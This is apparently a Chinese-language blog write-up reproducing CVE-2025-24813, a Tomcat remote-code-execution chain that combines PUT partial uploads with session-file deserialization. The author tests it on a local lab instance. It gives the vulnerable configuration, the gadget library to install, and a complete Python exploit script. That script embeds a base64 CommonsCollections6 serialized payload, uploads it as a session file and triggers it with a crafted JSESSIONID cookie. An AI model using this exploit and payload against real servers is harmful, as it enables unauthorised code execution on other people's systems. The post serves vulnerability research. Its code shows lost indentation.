CVE-2025-24813 Tomcat_RCE复现

前言

这个洞也是最近刚披露就火起来了,因为确实都是老生常谈的洞,触发条件都是以前的CVE。

当然我是为了逃避最近的paper组的压力,感觉那边的事永远都做不完emmmmm,搭完那边的攻击环境就马上润来复现一下这个玩意了。

嘻嘻。

触发条件及利用范围

其实就是几个CVE的缝合:

  • CVE-2017-12615 Tomcat PUT 文件上传
  • CVE-2020-9484:Tomcat Session 反序列化漏洞
  • CVE-2024-50379 :Tomcat PUT 条件竞争文件上传

tomcat的漏洞版本:

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

漏洞产生的原因是默认servlet在启用写入的情况下,攻击者可以在特定目录下写入任意文件名的文件。结合Tomcat的临时session会话文件存储功能,可以实现反序列化RCE,利用需要满足以下几个条件:

1
2
3
1、启用DefaultServlet写入,支持PUT请求;
2、开启了Tomcat会话,并且使用了默认的会话存储位置;
3、类路径下需要存在一个反序列化利用链的库依赖库。

这里复现用的是tomcat9.0.96。(因为不想配高版本了hhh,偷个懒拿本机上的直接用了)

CVE复现

漏洞利用前置配方

按照复现的思路,我们先开这个session存储吧,在conf/context.xml增加:

1
2
3
<Manager className="org.apache.catalina.session.PersistentManager">  
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>

这个东西开启的效果就是不带cookie访问tomcat,然后停止tomcat,【.1.txt】同目录会生成序列化保存的session文件。

image-20250315173552019

但他只会短暂存在个十几秒,然后就没了。

然后在conf/web.xml文件的DefaultServlet部分插入:

1
2
3
4
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

由此启用它的PUT功能。

image-20250315164931046

接着就是反序列化漏洞依赖了,不弄复杂了,就CC链吧。

1
curl -o http://gitlab.53site.com/shuzhan/oss/-/raw/master/lib/commons-collections-3.2.1.jar?ref_type=heads

把这个包放到tomcat的webapps\ROOT\WEB-INF\lib下,没lib文件夹的创一个就行了:

然后直接startup,tomcat启动!!!!

反序列化复现

先测测PUT:

image-20250315165635833

image-20250315165650728

没问题。

对于masahiro331/CVE-2020-9484,我们可以知道,假定用户上传了一个/tmp/xxx.session文件,就可以通过Cookie来触发xxx.session的反序列化。

对于这里的漏洞,我们还需要在请求头加上

1
Content-Range: bytes 0-payload长度/1200

然后PUT上传SESSION,之后GET访问

1
Cookie:JSESSIONID=.xxx

就能在FileStore.load()触发反序列化。

为了方便传参,干脆写个python脚本来实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import base64
import time

url = 'http://localhost:8082'

def put(url, data, headers, timeout=10, verify=True):
response = requests.put(url=url, data=data, headers=headers, timeout=timeout, verify=verify)
return response

def get(url, headers, timeout=10, verify=True):
response = requests.get(url=url, headers=headers, timeout=timeout, verify=verify)
return response

if __name__ == '__main__':
# CC6/calc
origin_payload = b'rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAAEdGVzdHNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAAJZ2V0TWV0aG9kdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAcc3EAfgATdXEAfgAYAAAAAnEAfgAScHQABmludm9rZXVxAH4AHAAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ABhzcQB+ABN1cQB+ABgAAAABdAAIY2FsYy5leGV0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AAN4eHh4'

#tomcat内存马
# origin_payload = b'xxx'
payload = base64.b64decode(origin_payload)
put_headers = {
'Content-Range': f'bytes 0-{len(payload)+1}/1000'
}
print(len(payload)+1)
put_response = put(url+'/eddie/session', payload, put_headers)
if(put_response.status_code == 409):
print("PUT SUCCESSFUL!")

time.sleep(0.1)

get_headers = {
"JSESSIONID" : ".eddie"
}
get_response = get(url, get_headers)

if(get_response):
print("ATTACK SUCCESSFUL!")

image-20250315173816484

但是这个有点不稳定,一次不一定能通。

可能就是那个timeout的问题,多打几次应该就没啥问题了。

内存马我试了下,打的不理想,感觉触发有点问题,所以暂时就用这个出网打法顶一下吧。

跟链子可以看大B哥的,写的很详细:

[CVE-2025-24813 Tomcat Session 反序列化组合拳 - Boogiepop Doesn’t Laugh](https://boogipop.com/2025/03/13/CVE-2025-24813 Tomcat Session 反序列化组合拳/)

参考:

CVE-2025-24813——tomcat文件上传到反序列化

奇安信攻防社区-全网首发!CVE-2025-24813 Tomcat 最新 RCE 分析复现


CVE-2025-24813 Tomcat_RCE复现
https://eddiemurphy89.github.io/2025/03/15/Tomcat-RCE复现/
作者
EddieMurphy
发布于
2025年3月15日
许可协议